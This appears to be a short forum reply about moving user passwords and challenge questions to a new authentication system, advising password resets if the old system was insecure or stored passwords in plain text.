Assuming the previous authentication system was secure, there shouldn't be a problem with preserving the password and challenge Q&A data. If you feel the previous authentication system was insecure in any way, you can feel free to assume the passwords may be compromised and force your users to reset their passwords on next login.

You mentioned "avoiding procedures and files that may show in plain text sensitive data.". If you're passwords are currently available in any way by plain text, then yes, you should have your users reset their passwords, after implementing a secure authentication process of course.